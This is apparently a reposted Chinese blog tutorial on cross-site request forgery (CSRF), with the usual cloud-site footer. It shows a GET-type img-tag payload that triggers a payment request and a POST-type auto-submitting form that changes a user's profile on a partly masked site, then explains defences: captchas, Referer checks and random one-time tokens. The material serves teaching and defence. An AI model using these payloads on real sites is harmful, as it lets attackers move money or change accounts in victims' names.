CSRF漏洞分析利用及防禦

來源:互聯網
上載者:User

標籤:csrf


0x00 簡要介紹

    CSRF(Cross-site request forgery)跨站請求偽造,由於目標站無 token/refer 限制,導致攻擊者可以以使用者的身份完成操作達到各種目的。根據HTTP請求方式,CSRF利用方式可分為兩種

 

0x01 GET類型的CSRF

     這種類型的CSRF一般是由於程式員安全意思不強造成的。GET類型的CSRF利用非常簡單,只需要構造一個HTTP請求,

一般會這樣利用:

<img src="http://a.ioio.pub:8000/users/pay?uid=122&monery=10000" \>

當目標載入這個圖片時會自動載入連結,這時就能完成攻擊了。


例如:在一個留言或部落格論壇的環境中,當留言內容沒有經過過濾時,可以按照上面的方法構造一個刪除該文章的圖片連結。當目標查看部落格留言時,因為是圖片標籤,所以瀏覽器會自動載入該URL這時,目標處於登入狀態,那麼該文章就會被刪除。這種就是CSRF-GET請求的一種利用。


0x02 POST類型的CSRF

     所謂POST類型就是構造一個自動認可的表單,當目標點擊給標籤時,就會以POST的方式發送一次HTTP請求。

<!DOCTYPE html><html><head>    <title>test csrf</title></head><body><body>    <form name="csrf" action="http://acm.xxxxx.net/JudgeOnline/profile_modify.php?action=modify" method="post" enctype="multipart/form-data">        <input type="hidden" name="email" value="[email protected]">        <input type="hidden" name="qq" value="123456">        <input type="hidden" name="telephone" value="12345678901">        <input type="hidden" name="bloglink" value="smdx">        <input type="hidden" name="description" value="xmsdx">    </form>    <script>document.csrf.submit();</script></body></html>

以上內容就是一個可以自動認可的表單,當使用者觸發時,發送一次HTTP請求,修改個人資訊。


0x03 如何修複

     針對CSRF的防範:

     關鍵的操作只接受POST請求,並且添加驗證碼。

     CSRF攻擊的工程,往往是使用者在不知情的情況下觸發的,當添加驗證碼或確認操作時,就可以簡單而有效防禦CSRF了。

    

     檢測refer

常見的互連網頁面與頁面之間是存在聯絡的,比如你在www.baidu.com應該是找不到通往www.google.com的連結的,再比如你在 論壇留言,那麼不管你留言後重新導向到哪裡去了,之前的那個網址一定會包含留言的輸入框,這個之前的網址就會保留在新頁面標頭檔的Referer中


通過檢查Referer的值,我們就可以判斷這個請求是合法的還是非法的,但是問題出在伺服器不是任何時候都能接受到Referer的值,所以Refere Check 一般用於監控CSRF攻擊的發生,而不用來抵禦攻擊。


     Token

目前主流的做法是使用Token抵禦CSRF攻擊。下面通過分析CSRF 攻擊來理解為什麼Token能夠有效


CSRF攻擊要成功的條件在於攻擊者能夠預測所有的參數從而構造出合法的請求。所以根據不可預測性原則,我們可以對參數進行加密從而防止CSRF攻擊。


另一個更通用的做法是保持原有參數不變,另外添加一個參數Token,其值是隨機的。這樣攻擊者因為不知道Token而無法構造出合法的請求進行攻擊。


Token 使用原則

Token要足夠隨機————只有這樣才算不可預測Token是一次性的,即每次請求成功後要更新Token————這樣可以增加攻擊難度,增加預測難度Token要注意保密性————敏感操作使用post,防止Token出現在URL中                                                                 ---參照學習與烏雲drops

本文出自 “啟思·朝聖者” 部落格,請務必保留此出處http://dearch.blog.51cto.com/10423918/1793767

CSRF漏洞分析利用及防禦

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.